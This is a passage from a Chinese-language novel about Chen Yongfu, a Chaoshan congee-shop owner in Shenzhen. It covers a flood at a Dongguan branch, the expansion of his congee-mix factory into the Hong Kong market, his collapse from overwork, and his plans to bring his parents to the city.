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月初,深圳刮台风。风大雨大,商场提前关门。工厂也停工,工人放假。
陈永福难得在家待了一整天。陪晓梅玩,辅导□□作业,跟林玉兰说话。像普通家庭一样,平淡,温暖。
下午,风小了点,雨还在下。陈永福站在阳台看雨,手机响了。
是黄秀英,声音急:“老板,东莞发大水了!”
“什么?”
“常平这边下暴雨,河水涨了,淹了工业区。”黄秀英说,“我的店进水了,一米多深,东西全泡了。”
陈永福心里一沉:“人没事吧?”
“人没事,员工都撤了。但店……店完了。”黄秀英声音带着哭腔,“老板,我对不起你……”
“别说傻话,人没事就好。”陈永福说,“你在哪儿?安全吗?”
“我在表姐家,安全。”
“在那儿待着,别乱跑。我明天过去。”
挂了电话,陈永福跟林玉兰说了。林玉兰也着急:“秀英那孩子,一个人在东莞,不容易。”
“我明天去看看。”
“路上小心。”
第二天,雨停了,但路还淹着。陈永福坐火车去东莞,慢车,晃了两个小时。到常平,出站一看,街上都是水,浑浊的,漂着垃圾。车开不了,他蹚水走。
黄秀英的两家店都在低洼处,水还没退,门口堆着沙袋,里面黑漆漆的。黄秀英站在一家店门口,挽着裤腿,浑身是泥。
“老板……”看见他,她眼泪掉下来。
“别哭,先看看。”
两人进店。水退了些,但还有半尺深。桌椅泡坏了,冰箱倒了,灶台全是泥。墙上的水印有一米多高。
“损失多少?”陈永福问。
“两家店,光设备就两万多。”黄秀英抹抹眼泪,“还有存货,米、肉、调料,全泡了。至少三万。”
陈永福心里算了算。三万,不是小数,但还能承受。
“人没事就好。”他说,“店能重开。”
“老板,我……”黄秀英低下头,“我是不是太急了?要是听你的,不开第二家店,损失就没这么大。”
“现在说这个没用。”陈永福拍拍她的肩,“天灾,谁都想不到。重要的是接下来怎么办。”
“怎么办?”
“清淤,消毒,重新装修。”陈永福说,“钱我出,你负责做。”
“老板,我……”
“别说了,干活。”
陈永福挽起袖子,开始搬东西。黄秀英也动起来。员工陆续来了,大家一起干。把泡坏的东西搬出去,扫水,铲泥。忙了一天,总算清出个样子。
晚上,陈永福请所有员工吃饭。在附近的小餐馆,点了几个菜。
“大家辛苦了。”他举起杯,“店没了,可以重开。人没事,就还有希望。这个月工资照发,奖金照给。”
员工们眼圈都红了。
“谢谢老板。”
“我们一定好好干。”
吃完饭,陈永福和黄秀英在街上走。水退了,留下厚厚的淤泥,踩上去噗嗤噗嗤响。路灯亮了,照在泥泞的街上,昏黄昏黄的。
“老板,我……”黄秀英欲言又止。
“想说什么就说。”
“我想去广州。”黄秀英说,“东莞这边,水灾之后,工人可能少了。我想去广州开家店,试试。”
陈永福看着她。这姑娘,刚经历这么大损失,想的不是退缩,是前进。
“不怕再赔?”
“怕。”黄秀英老实说,“但更怕错过机会。广州人多,市场大。我想试试。”
陈永福沉默了一会儿。
“行,你去。但先把东莞的店恢复好。广州那边,先小规模试试,别急着开大店。”
“好!”
“钱我出,算你借的。赚了还我,赔了算我的。”
“老板……”
“别说了,就这么定。”
黄秀英眼泪又下来了,这次是感动的。
送她回住处,陈永福坐夜车回深圳。车上人少,他靠在座位上,看着窗外黑漆漆的田野。远处有零星的灯光,像星星掉在地上。
他想起了老街,想起了老榕树。那棵树经历多少风雨,依然立着。他的粥铺,也要像那棵树,风雨来了,挺住。风雨过了,继续长。
回到深圳,已经凌晨两点。家里亮着灯,林玉兰在等他。
“怎么还没睡?”
“等你。”林玉兰端出热汤,“喝点,暖暖。”
陈永福接过汤,喝了一口。是鸡汤,加了枸杞、红枣,甜丝丝的,暖到心里。
“东莞怎么样?”
“店泡了,但人能重开。”陈永福把情况说了。
林玉兰听完,说:“秀英那孩子,真有韧劲。”
“是啊。”
“你也是。”林玉兰看着他,“阿福,你比以前更稳了。”
“是吗?”
“嗯。”林玉兰靠在他肩上,“以前你遇到事,会急,会慌。现在不会了,知道怎么处理。”
陈永福想想,好像是。两年多前,三轮车坏了都让他着急。现在店泡了,他还能冷静安排。
时间真能改变人。
“睡吧。”林玉兰说。
“嗯。”
两人上床。陈永福累极了,但睡不着。脑子里过电影一样:泡水的店,泥泞的街,黄秀英的眼泪,员工感激的眼神,还有广州,那个未知的市场。
他知道,前路还长,还有无数风雨。
但他不怕了。
风雨来了,就迎上去。雨停了,就继续走。
这就是生活,这就是深圳,这就是他的路。
窗外,雨又下起来了。淅淅沥沥的,像在说话。
陈永福闭上眼睛,听着雨声,慢慢睡着了。
梦里,他看见老榕树,枝繁叶茂。树下,他的粥铺开着,客人坐满了。黄秀英在东莞,王建军在深圳,李文杰在算账,郑文达在打电话。每个人都在自己的位置上,忙碌,充实。
粥香飘出来,飘得很远,很远。
一直飘到广州,飘到更远的地方。
他笑了。
18. 米芯
八月的最后一天,深圳依旧闷热。
陈永福站在新工厂的实验室里,看着桌上三碗刚煮好的粥。白粥、皮蛋粥、海鲜粥,分别盛在三个白瓷碗里,冒着细细的热气。他拿起勺子,每碗尝了一口。
“皮蛋粥腥味重了。”他说。
技术员小林推了推眼镜:“陈老板,我们按配方来的,皮蛋就是有腥味。”
“要压住。”陈永福放下勺子,“加姜粉,量再调调。”
“可是姜粉成本……”
“成本我不管,味道要对。”
小林不说话了,低头记录。这个年轻人是陈工介绍的,食品专业毕业,做事认真,但太死板,不懂变通。
陈永福走到窗边,看着外面的生产线。机器轰鸣,传送带运转,工人们在各自的岗位上忙碌。这间工厂投产后,他以为可以轻松点,结果更忙了。标准化生产不像熬粥,可以凭感觉。这里要数据,要参数,要检验报告。
有时候他会怀念老街的粥铺,就一口锅,他一个人,米下多少,水加多少,火候多大,全凭手上的感觉。现在,感觉要让位给仪器。
手机响了,是黄秀英。
“老板,广州的店地址选好了,在白云区,靠近服装批发市场。”黄秀英语气兴奋,“这边人流量大,打工的人多。”
“租金多少?”
“三十平米,月租一百八。”
“贵了。”
“位置好,值。”黄秀英说,“老板,我想下个月就开业。”
陈永福算了一下时间:“太急了吧?东莞的店才恢复。”
“东莞这边小玲能管,我培养她了。”黄秀英说,“老板,你放心,广州这边我亲自盯。”
陈永福知道拦不住她:“行,但前期投入要控制。装修简单点,设备用二手的。”
“知道!”
挂了电话,陈永福叹了口气。黄秀英像脱缰的马,越跑越快。是好事,也是隐患。
回到实验室,小林还在调配方。陈永福走过去:“小林,你老家哪儿的?”
“湖南。”
“来深圳多久了?”
“半年。”
“习惯吗?”
“还行。”小林腼腆地笑笑,“就是热,比湖南热。”
“慢慢就习惯了。”陈永福说,“你专业学食品的,以后厂里技术这块,你多费心。”
“我会的,陈老板。”
陈永福拍拍他的肩,走了。管理工厂和管理粥铺不一样,要懂技术,要懂流程,还要懂人。他得学,学不会就被淘汰。
九月初,学校开学。□□升三年级了,书包换了新的,是陈永福去香港时买的,双肩包,印着米老鼠。孩子喜欢,每天背着,走路都挺直腰板。
开学第一天,陈永福送他去学校。在校门口,碰见王小军的爸爸,那个在国营厂当科长的男人。
“陈老板,送孩子啊?”王科长递了支烟。
“王科长早。”陈永福接过烟,“您也送孩子?”
“是啊。”王科长点着烟,“陈老板生意越做越大了,听说开工厂了?”
“小打小闹。”
“谦虚了。”王科长吐了口烟,“现在政策好,你们个体户有机会。不像我们厂,效益一年不如一年。”
陈永福听出他话里的意思。国营厂在走下坡路,很多工人工资发不出。他有个老乡在电子厂,说已经三个月没发全工资了。
“王科长单位还好吧?”
“勉强维持。”王科长摇摇头,“陈老板,听说你们工厂招人?我们厂有几个工人下岗了,能不能安排?”
陈永福想了想:“我们招技术工,要懂机器的。”
“有,有,我们厂有钳工、电工,手艺都不错。”
“那让他们来面试吧。”
“谢谢陈老板!”王科长很高兴,“改天请你吃饭。”
“客气了。”
送完孩子,陈永福去罗湖店。店里已经营业了,王建军在前台,看见他来,点点头。小周在后厨,跟着刘师傅学熬粥,有模有样了。
“老板,上午要送两车货去超市。”王建军说,“司机老陈请假了,他老婆生孩子。”
“你送吧,你有驾照。”
“行。”
王建军去送货,陈永福在店里转了转。白粥、肉粥、皮蛋粥,卖得都不错。海鲜粥限量,每天三十碗,卖完即止。林玉兰开发的小菜也受欢迎,酸豆角卖得最好,一毛一碟,很多工人要。
中午,王建军回来了,脸晒得通红。
“老板,超市那边说咱们的货摆得太靠里了,要挪到显眼位置,得交五百块‘陈列费’。”
“什么费?”
“陈列费,就是货架位置费。”王建军说,“超市经理说,好位置都留给交钱的了。”
陈永福皱眉。这又是新花样。以前在老街,他的粥铺就在老榕树下,位置自然好,不用交钱。现在进了超市,规矩多了。
“交吧。”他说,“不交卖不动。”
“可是老板,五十家超市,一家五百,就是两万五。”
陈永福心里一沉。两万五,不是小数。
“先交十家,位置最好的。其他的再说。”
“行。”
下午,郑文达来电话。
“陈老板,香港的超市愿意进我们的货,但要求包装改一下。”
“怎么改?”
“要印中英文对照,要有营养成分表。”郑文达说,“香港那边讲究这个。”
“行,我让小林设计。”
“还有,他们要试订单,一千包。如果卖得好,再下大单。”
“好,我安排生产。”
挂了电话,陈永福心里又喜又忧。喜的是进香港市场,忧的是要求多,成本又要增加。
他找来小林,说了香港的要求。小林拿出本子记:“营养成分表要送检,一份报告要三千块。”
“这么多?”
“正规检测都这个价。”
陈永福咬咬牙:“检吧,该花的要花。”
小林去联系检测机构,陈永福坐在办公室里算账。陈列费、检测费、包装改版费,加起来又是几万。工厂刚上正轨,钱像水一样流出去。
他想起郑文达说的“做大做强”,现在体会到了,大是大了,但压力也大了。
晚上回家,林玉兰做了几个菜:清蒸鱼、炒菜心、西红柿鸡蛋汤。晓梅坐在高脚椅上,自己抓饭吃,弄得满脸都是。
“今天超市要收陈列费。”陈永福边吃边说。
“多少?”
“一家五百。”
林玉兰停下筷子:“这么多?”
“嗯。”
“能不交吗?”
“不交不给好位置,卖不动。”
林玉兰不说话了,低头吃饭。过了一会儿,她说:“阿福,咱们是不是摊子铺太大了?”
“可能是。”陈永福实话实说,“但收不回来了。工厂开了,货生产了,不卖出去,就堆在仓库。”
“我有点怕。”
“怕什么?”
“怕咱们撑不住。”林玉兰看着他,“阿福,我听说好多做生意的,开始都红火,后来资金链断了,一下就垮了。”
陈永福心里一紧。他也听过这样的故事。深圳每天都有公司开张,每天也都有公司倒闭。
“我会小心的。”
吃完饭,陈永福陪晓梅玩。孩子会叫“爸爸”了,虽然发音不准,但听着心里暖。□□在写作业,遇到不会的题,陈永福过去教。
“阿爸,我们老师今天说,深圳要建儿童公园了。”□□说。
“在哪儿?”
“说在莲花山那边。”
“那以后带你去。”
“好!”
看着孩子们,陈永福想,他不能垮。为了这个家,为了孩子们,他得撑住。
九月中旬,香港的试订单生产好了。一千包粥料,白粥、皮蛋粥、海鲜粥各三百包,另外一百包是新产品——瑶柱粥,郑文达建议加的,说香港人喜欢。
包装印了中英文对照,加了营养成分表。红色袋子,金色字体,看着高档。陈永福亲自检查了每一包,确认没问题,才让发货。
货发走后,他等了三天,没消息。第四天,郑文达来电话。
“陈老板,香港那边说,粥料煮出来米粒太硬,不符合他们的口感。”
“怎么会?我们试过很多次了。”
“香港人吃粥讲究绵滑,米粒要化开。”郑文达说,“咱们的米粒还成型,他们觉得是夹生。”
陈永福头大了。内地人喜欢米粒分明,香港人喜欢米粒化开,这怎么调?
“那怎么办?”
“改工艺,把米处理得更软。”郑文达说,“这批货他们愿意收,但要求打折。一千包,按八折算。”
八折,少赚两千块。但总比退货好。
“行,我同意。”
“还有,下次发货前,先寄样品,他们确认了再发。”
“好。”
挂了电话,陈永福立刻找小林。小林听了,说:“要米粒化开,就得多蒸一会儿,或者加淀粉。但这样成本会高,保质期会短。”
“先试,成本再说。”
小林去试验,陈永福坐在实验室里等。窗外夕阳西下,工厂的机器停了,工人们下班了。安静下来,能听见远处马路上的车声。
他想起了老家的粥。母亲熬的粥,米粒是化开的,稠得像浆。那是用柴火慢慢熬的,要一个多钟头。现在工厂生产,要十分钟煮好,还要米粒化开,难。
小林试了几次,端来一碗粥。陈永福尝了,米粒确实软了,但口感有点糊,不清爽。
“再加点碱试试?”他说。
“加碱?”小林皱眉,“碱会破坏营养。”
“一点点,调口感。”
小林又去试。这次好了,米粒软而不糊,稠度适中。但加碱后,味道有点变化,要调整配料比例。
两人忙到晚上九点,终于调出满意的版本。陈永福让小林记录下来,明天小批量生产,寄样品给香港。
回到家,林玉兰还没睡,在等他。
“怎么这么晚?”
“调配方,香港那边要求高。”陈永福坐下,累得不想动。
林玉兰端来热水,让他泡脚。
“阿福,要不……咱们别做香港市场了?太麻烦。”
“已经开始了,停不下来。”陈永福说,“玉兰,你知道香港一碗粥卖多少钱吗?五块港币。咱们的料包,成本一块,卖两块,还有得赚。这个市场,不能丢。”
“可是……”
“我知道你担心。”陈永福握住她的手,“但咱们走到这一步了,只能往前。”
林玉兰不说话了,低头给他搓脚。灯光下,陈永福看见她头上有了白头发,一根两根,藏在黑发里,刺眼。
“玉兰,你也有白头发了。”
“老了。”林玉兰笑笑,“都三十多了。”
“是我让你操心了。”
“说这个干嘛。”林玉兰抬起头,“嫁给你,就准备好操心了。”
陈永福鼻子一酸,忍住。
那一夜,他睡得不安稳,梦里全是粥。硬的粥,软的粥,糊的粥,清的粥。他在粥里挣扎,喘不过气。
第二天,样品寄去香港。三天后,回复来了:通过,可以下正式订单。五千包,一个月内交货。
陈永福松了口气。这关过了。
但紧接着,新的问题来了。工厂产能不够。一天一万包,五千包占了一半产能。而深圳、东莞、广州的订单还在增加。
“要扩产。”郑文达说,“再上一条生产线。”
“钱呢?”陈永福问。
“我出三十万,你出二十万。”郑文达说,“何老板也愿意再加五万。”
又是二十万。陈永福想起林玉兰的话:摊子铺太大了。
但他没有退路。
“行。”
贷款,凑钱,签合同。新生产线订了,要两个月到货。这两个月,现有生产线要满负荷运转。
工人加班,三班倒。陈永福也跟着加班,晚上睡在工厂,方便随时处理问题。
林玉兰来送饭,看见他眼里的血丝,心疼:“阿福,你这样不行。”
“就这两个月,新线上了就好了。”
“身体垮了,什么线都没用。”
“我知道,我会注意。”
说是注意
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,但一忙起来就忘了。有天夜里,他在车间晕倒了。工人发现时,他躺在地上,脸色苍白。
送到医院,检查是低血糖加疲劳过度。医生说要住院观察。
林玉兰守在床边,眼泪止不住:“我说什么来着?你不听。”
“没事,就是累了。”陈永福虚弱地笑笑。
“住院三天,好好休息。”
“三天?工厂怎么办?”
“工厂重要还是命重要?”林玉兰生气了,“陈永福,你要是有个三长两短,我和孩子们怎么办?”
陈永福不说话了。
住院的三天,他强迫自己休息。但脑子停不下来,想工厂,想订单,想香港市场,想新生产线。越想越急,越急越想回去。
第三天下午,郑文达来看他。
“陈老板,好好休息,工厂那边我盯着。”
“郑先生,新生产线……”
“放心,我在跟进。”郑文达说,“陈老板,有句话我不得不说。你现在这样,不行。要把权力下放,让专业的人做专业的事。”
“我放不了手。”
“放不了也得放。”郑文达严肃地说,“你想想,你要是倒了,工厂怎么办?店怎么办?家人怎么办?”
这话戳中了陈永福的软肋。是啊,他不能倒。
“那我该怎么做?”
“提拔人。”郑文达说,“王建军可以管深圳的店,黄秀英可以管东莞和广州,小林可以管工厂技术。你只管大方向,具体的事让他们做。”
陈永福想了想,是这个理。
“我听郑先生的。”
出院后,陈永福开始调整。他提拔王建军为深圳区域经理,管三家店。提拔小林为技术总监,负责工厂生产和研发。黄秀英已经是东莞和广州的负责人,不用再提。
权力下放了,他轻松了些。但习惯难改,有时候还是会忍不住去车间,去店里。王建军和小林也不拦他,但会提醒:“老板,您说好不管具体的。”
陈永福只好退回去。
十月底,新生产线到了。安装,调试,试生产。一切顺利。产能翻了一番,一天两万包。
香港的订单按时完成,深圳、东莞、广州的供应也跟上了。销售额节节攀升。
月底盘点,工厂利润达到了五万。三家店利润两万。总利润七万。
这个数字,让陈永福觉得,所有的累都值了。
但他不敢放松。深圳变化太快,今天好,明天可能就不好。他要居安思危。
十一月初,深圳突然降温。冷空气南下,气温降到十度以下。商场里暖气开得足,但街上冷。
粥铺生意更好了。天冷,都想喝热的。工厂的粥料也卖得好,工人买回去,宿舍煮,暖和。
陈永福站在罗湖店门口,看着街上的行人。他们裹着厚衣服,行色匆匆。有人进店,要碗热粥,坐下喝,脸上露出舒服的表情。
他想,这就是他做粥的意义。让人暖和,让人满足。
手机响了,是黄秀英。
“老板,广州店开业了,生意很好。”她声音里有压抑不住的兴奋,“这边工人多,一天能卖四百碗。”
“好,注意控制成本。”
“知道。”黄秀英顿了顿,“老板,我想……我想把爸妈接来深圳。”
“接来?”
“嗯,他们在老家年纪大了,我不放心。我想在深圳租个房子,让他们住。”
“应该的。”陈永福说,“钱够吗?不够我借你。”
“够,我攒了些。”黄秀英说,“老板,谢谢你。没有你,我现在还在制衣厂踩缝纫机。”
“是你自己争气。”
挂了电话,陈永福想,黄秀英在深圳扎下根了。接父母来,是要在这里安家了。像他一样。
他又想起了自己的父母。来深圳三年了,只回去过一次。该接他们来了。
回家跟林玉兰商量。林玉兰赞成:“早该接了。爸妈年纪大,在老家我们不放心。”
“那我安排。”
“租个大点的房子,四室,咱们住得下。”
“好。”
那天晚上,陈永福给老家打电话。是父亲接的。
“阿爸,我是永福。”
“永福啊,这么晚打电话,有事?”
“阿爸,我想接你和阿妈来深圳住。”
电话那头沉默了一会儿。
“去深圳?我们老了,去那儿干嘛?”
“来享福。我这几年生意做好了,能养活你们。深圳暖和,对你们身体好。”
“可是老家……”
“老家有弟弟妹妹在,不用担心。”陈永福说,“阿爸,让我尽尽孝。”
父亲又沉默了很久。
“我和你妈商量商量。”
“好,我等你们消息。”
挂了电话,陈永福站在阳台上,看着深圳的夜景。万家灯火,每一盏灯下都有一个家。很快,他的父母也会在这里,四代同堂。
他想起了老街的老榕树。树移走了,但根还在那里。他的根,也从潮汕移到了深圳,扎下了,开枝散叶了。
风很冷,但他心里暖。
回屋,林玉兰在哄晓梅睡觉。□□在看书,明天要考试。
“爸,你说明天我考得好,有奖励吗?”□□问。
“你想要什么奖励?”
“想去动物园,听说深圳动物园有熊猫。”
“好,考好了就去。”
孩子高兴了,继续看书。
陈永福坐在沙发上,看着这个家。妻子,孩子,很快还有父母。这就是他奋斗的全部意义。
生意还要做,工厂还要管,路还要走。但有了这个家,他什么都不怕。
夜深了,深圳的灯火一盏盏熄灭。但有些灯还亮着,照着晚归的人,照着这座城市不眠的夜。
陈永福关掉客厅的灯,回卧室。林玉兰已经睡了,呼吸均匀。
他躺下,闭上眼睛。
明天还要早起,但今晚,他想好好睡一觉。
梦里,父母来了,坐在他的粥铺里,喝着他熬的粥,说:“这粥,跟老家一个味。”
他笑了。
是啊,不管走多远,根的味道,忘不了。
19. 家老
电话打完的第三天,弟弟永贵从老家打回来了。
“哥,阿爸阿妈同意了。”永贵的声音透过电话线,带着滋滋的电流声,“但阿妈说要过了年才去,家里要收拾,鸡啊鸭啊要处理。”
“行,过了年就过了年。”陈永福握着听筒,“你们也一起来,深圳过年热闹。”
“我们走不开。”永贵说,“小芬怀上了,明年四月生,不方便跑远路。”
小芬是永贵的媳妇,去年结的婚。
“那等孩子生了再来。”陈永福说,“到时候哥给你们安排。”
“谢谢哥。”永贵顿了顿,“哥,你在深圳真挣大钱了?村里人都说,你在那边开了大工厂。”
“没那么夸张,就是个小厂。”
“那也是厂啊。”永贵语气里透着羡慕,“哥,咱家就你有出息。”
挂了电话,陈永福心里不是滋味。弟弟在老家种地,一年到头挣不了几个钱。他应该帮衬的,可一直忙,顾不上。
中午吃饭时,他跟林玉兰说了。
“永贵媳妇怀了,明年生。”陈永福说,“我想着,孩子生了,给他们寄点钱。”
“应该的。”林玉兰说,“阿福,咱们现在条件好了,该帮衬家里人。”
“我知道。”陈永福扒拉两口饭,“玉兰,等爸妈来了,咱们得换个大房子。现在这个住不下。”
“看好了?”
“罗湖那边有个新小区,四室两厅,月租三百。”陈永福说,“离店里近,离学校也近。”
“三百?”林玉兰吓了一跳,“太贵了。”
“该花的要花。”陈永福说,“爸妈老了,得住得舒服点。”
林玉兰想了想:“行,听你的。”
吃完饭,陈永福去厂里。新生产线运转正常,车间里机器轰鸣。小林穿着白大褂,在实验室里测样品。看见陈永福来,他放下试管。
“陈老板,香港那批货的反馈来了。”小林递过一份传真纸,“整体满意,但提了个建议:希望能有小包装,适合单身人士。”
“小包装?”
“对,一包煮一碗的那种。”小林说,“现在的一包煮两碗,单身的人吃不完,放久了不好。”
陈永福想了想,是这个理。深圳年轻人多,很多单身,小包装有市场。
“做吧。先试做一千包,看反应。”
“好。”小林记下,“还有,郑先生来电话,说想谈广告的事。”
“广告?”
“嗯,说咱们的粥料在超市卖得好,但知名度还不够。想做点广告,提高品牌知名度。”
陈永福皱眉。广告要花钱,而且是大钱。
“晚上我回电话给他。”
晚上,陈永福给郑文达打电话。郑文达直接说:“陈老板,现在市场好,要趁机打响品牌。我建议在《深圳特区报》登广告,连续登一个月。”
“多少钱?”
“一个版面一天两千,一个月六万。”
六万。陈永福倒吸一口凉气。
“郑先生,咱们现在利润一个月七万,登广告就去掉六万,不划算。”
“不是这样算的。”郑文达耐心解释,“广告投入,换来的是品牌价值。品牌响了,销量就上去,利润就增长。这是投资,不是开销。”
陈永福不懂这些理论,但他相信郑文达的眼光。
“那就试试,但先登半个月,看看效果。”
“行,我安排。”
挂了电话,陈永福算账。半个月广告费三万,加上其他开支,这个月利润要打折扣。但他想,郑文达说得对,品牌响了,才能长久。
广告的事交给郑文达,陈永福专心抓生产。小包装设计出来了,红色袋子,印着“家香一人食”,下面一行小字:“一碗刚刚好”。试做了一千包,放在超市试销。
效果出奇的好。单身年轻人喜欢,说方便,不浪费。一周就卖完了,超市要求补货。
陈永福赶紧安排批量生产。新生产线开足马力,一天能产三万包,还供不应求。
十一月底,深圳入冬了。湿冷的风从海上吹来,商场里暖气开得足,但街上行人缩着脖子。粥铺生意更好了,热粥成了抢手货。
一天下午,店里来了个不速之客。
是个中年男人,穿着蓝色的确良中山装,拎着黑色人造革包。他站在门口看了看招牌,才走进来。
“请问,陈永福在吗?”
陈永福从后厨出来,看见来人,愣了一下。有点眼熟,但想不起来是谁。
“我是陈永福,您是?”
“陈老板,我是周淑芬的堂哥,周建国。”男人伸出手。
周淑芬?陈永福想起来了,那个找孩子的老师。
“周老师还好吗?”他握手。
“好,好。”周建国坐下,“淑芬现在在东莞教书,孩子上小学了。她常说起你,说当年多亏你们帮忙。”
“应该的。”陈永福让王建军盛碗热粥,“周先生找我有什么事?”
周建国喝了口粥,说:“我在市轻工业局工作,听说你做了粥料包,卖得不错。”
“小生意。”
“不是小生意。”周建国放下碗,“陈老板,现在国家鼓励个体户发展,像你这样的,属于先进典型。局里想树个榜样,推广你的经验。”
陈永福有点懵:“推广我的经验?”
“对,就是怎么从个体户发展成工厂。”周建国从包里拿出笔记本,“我想写个材料,报上去。如果选上了,可能有政策扶持。”
政策扶持?陈永福心动了。
“周先生需要我做什么?”
“简单,讲讲你的发展过程,遇到的困难,怎么解决的。”周建国打开本子,“咱们随便聊,我记录。”
两人聊了两个钟头。陈永福从老街粥铺说起,说到贷款,说到拆迁,说到开分店,说到办工厂。周建国听得认真,不时点头。
“陈老板,你这个经历很有代表性。”周建国合上本子,“从农民到个体户,再到企业家,体现了深圳特区的精神。”
企业家?陈永福第一次听人这么称呼自己。他觉得自己就是个熬粥的,运气好点而已。
“周先生过奖了。”
“不是过奖,是事实。”周建国说,“材料我回去整理,写好了给你看。如果选上了,可能还要开个会,让你发言。”
“发言?”陈永福紧张了,“我不会说话。”
“不用多会说,讲真话就行。”周建国拍拍他的肩,“陈老板,这是机会,抓住了,对你以后发展有好处。”
送走周建国,陈永福还觉得不真实。他要成典型了?要发言了?
晚上回家,他跟林玉兰说了。林玉兰也惊讶:“阿福,这是好事啊。”
“好事是好事,可我心里没底。”陈永福说,“我就是个熬粥的,算什么企业家。”
“熬粥熬到开工厂,就是企业家。”林玉兰说,“阿福,你要自信点。”
陈永福苦笑。自信?他从来就没有过。一路走来,都是被推着走,逼着走。现在被人当典型,他慌。
但机会来了,不能躲。
过了几天,周建国又来了,拿着写好的材料。厚厚一沓,标题是《从一碗粥到一个品牌:个体户陈永福的创业之路》。
陈永福看了一遍,脸红。材料把他写得太好了,说他“有远见”“敢闯敢试”“带领乡亲致富”。其实他就是想养家糊口,没那么伟大。
“周先生,这……”
“材料要拔高一点,这是宣传需要。”周建国说,“陈老板,你看看事实有没有出入,没有的话,我就报上去了。”
陈永福仔细看了,事实基本没错,就是措辞夸张。
“行吧。”
“还有个事。”周建国说,“下周五有个座谈会,在市政府礼堂,请了几位个体户代表发言。你能不能参加?”
“我……”
“去吧,露个脸,对你以后有好处。”周建国说,“发言稿我帮你写好了,你照着念就行。”
陈永福犹豫了一下,答应了。
座谈会那天,他特意穿了新买的西装,深蓝色的,打了条红色领带。林玉兰帮他整理衣领,笑着说:“还挺精神。”
“别扭,不习惯。”陈永福扯扯领带。
“忍忍,一会儿就好。”
市政府礼堂不大,能坐两百人。台上挂着红布条幅:“深圳市个体经济发展座谈会”。台下坐满了人,有穿西装的,有穿中山装的,还有像他一样穿得不自在的。
陈永福被安排在第一排,胸口别着“代表”的红花。他捏着发言稿,手心出汗。
座谈会开始,领导讲话,讲政策,讲形势。陈永福听得半懂不懂,但知道是鼓励个体经济发展的话。
轮到代表发言了。第一个是服装店老板,第二个是电器商,第三个就是他。
主持人念:“下面请家香粥铺、家香食品厂负责人陈永福同志发言。”
陈永福站起来,腿有点软。他走到讲台前,拿出稿子。台下两百双眼睛看着他,他脑子一片空白。
深呼吸,开始念:“各位领导,各位同志,大家好。我叫陈永福,来自潮汕,现在是家香粥铺和家香食品厂的负责人……”
稿子写得好,但他念得磕磕巴巴。普通话不标准,潮汕口音重。台下有人笑了,不是嘲笑,是善意的笑。
念到一半,他忽然不想念了。这些漂亮话不是他想说的。他把稿子放下,看着台下。
“对不起,稿子写得好,但不是我的心里话。”他声音有点抖,“我来深圳三年多,从摆粥摊开始。那时候就是想挣口饭吃,没想过什么远大理想。”
台下安静了。
“后来生意好了,开了分店,办了工厂。大家都说我成功,说我厉害。其实不是,我就是运气好,赶上了好时候。”陈永福顿了顿,“深圳这个地方,给普通人机会。只要你肯干,肯吃苦,就能活下来,活得好。”
“我现在有老婆孩子,有父母兄弟,有几十号员工跟着我吃饭。我不敢停,也不能停。因为我不是一个人,是一群人。”
“有人说我是企业家,我不懂。我就是个熬粥的。但我觉得
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,能把粥熬好,让客人喝得满意,让员工有饭吃,就是我的本事。”
他讲完了,鞠躬。台下沉默了几秒,然后响起掌声。
回到座位,周建国对他竖大拇指:“讲得好,实在。”
陈永福擦擦汗,笑了。原来讲真话,也没那么难。
座谈会结束后,几个领导过来跟他握手,说他的发言“朴实”“感人”。还有个记者要采访他,他推了,说不会说话。
晚上回家,林玉兰问他怎么样。他说了经过,林玉兰笑了:“阿福,你真是的,稿子都不念。”
“念不下去,不是我的东西。”
“这样更好,实在。”
那天晚上,陈永福睡得特别香。放下了包袱,轻松了。
十二月初,深圳更冷了。但陈永福心里热,因为父母要来了。
他租好了房子,四室两厅,在罗湖一个新小区。房子空着,等父母来了再布置。林玉兰去看过,说好,亮堂,宽敞。
“爸妈肯定喜欢。”她说。
陈永福想,父母在老家住的是老屋,黑乎乎的,潮湿。来深圳住这么好的房子,肯定不习惯。但住住就习惯了,人都是这样。
月中,周建国的材料批下来了。陈永福被评为“深圳市个体经济先进典型”,发了奖状,还有五百块奖金。
奖金他捐了,捐给老家修路。永贵打电话来说,村里人夸他有良心。
“哥,你现在是名人了。”永贵说。
“什么名人,就是个熬粥的。”陈永福说,“永贵,等路修好了,你和小芬带孩子来深圳玩。”
“好。”
挂了电话,陈永福想,人活一世,不能只顾自己。有能力了,要帮别人。这是父亲教他的。
十二月底,年关近了。商场里挂起红灯笼,放起喜庆音乐。粥铺生意好,工厂订单多,陈永福忙得团团转。
但他抽出时间,给员工发年终奖。深圳的店、东莞的店、广州的店、工厂,加起来一百多号人,每人一百块,包红包。
发钱那天,工厂食堂摆了几桌。陈永福讲话,还是那句:“大家辛苦了,明年一起努力。”
员工们鼓掌,喊:“谢谢老板!”
黄秀英从广州赶回来,也发奖金。她管理的两家店,员工每人八十。她站在陈永福旁边,小声说:“老板,我现在也能给别人发奖金了。”
“是啊,你长大了。”
“都是老板带得好。”
发完奖金,聚餐。大盆菜,啤酒,热闹。刘师傅喝多了,拉着陈永福的手说:“老板,我跟你跟对了。在你这儿,有奔头。”
“好好干,以后更好。”
“一定!”
王建军没喝酒,他要开车送陈永福回家。他现在是深圳区域经理,管三家店,还管送货。陈永福把公司的面包车给他用,算是配车。
“老板,明年我想考个大专。”王建军说。
“好啊,学什么?”
“学管理。”王建军说,“李经理说,以后店多了,要懂系统管理。”
“行,学费公司出。”
“谢谢老板。”
送陈永福到家,王建军走了。陈永福站在楼下,看着他的车灯消失在夜色里。这个当年送餐的小伙子,现在能独当一面了。
时间真快,人也真能变。
上楼,林玉兰在等他。晓梅睡了,□□在看电视。
“发完奖金了?”
“嗯。”
“秀英回来了?”
“回来了,明天又走。”
“这孩子,比你还拼。”
“年轻人,有冲劲好。”
洗漱完,陈永福坐在床边,看晓梅睡觉。孩子八个月了,白白胖胖的,睡着时嘴角还动,像在笑。
“玉兰,等爸妈来了,咱们拍张全家福。”他说。
“好,去照相馆拍。”
“不,请人来家里拍,自然点。”
“行。”
躺下,陈永福睡不着。想这一年的事:开工厂,做粥料,打广告,当典型。像做梦一样。
但看看身边的妻子,看看孩子,看看这个家,又是真的。
他轻轻起身,走到窗前。深圳的夜,灯火璀璨。远处工地还在施工,塔吊的灯像星星。
他想起了老街,想起了老榕树。树移走了,但他记得。记得树下熬粥的日子,记得那些喝粥的人,记得那些苦和甜。
现在,他有了更大的舞台,更多的责任。
但他还是那个陈永福,熬粥的陈永福。
根在这里,跑不了。
窗外,不知谁家放起了鞭炮,噼里啪啦的,提前庆祝新年。
陈永福笑了。
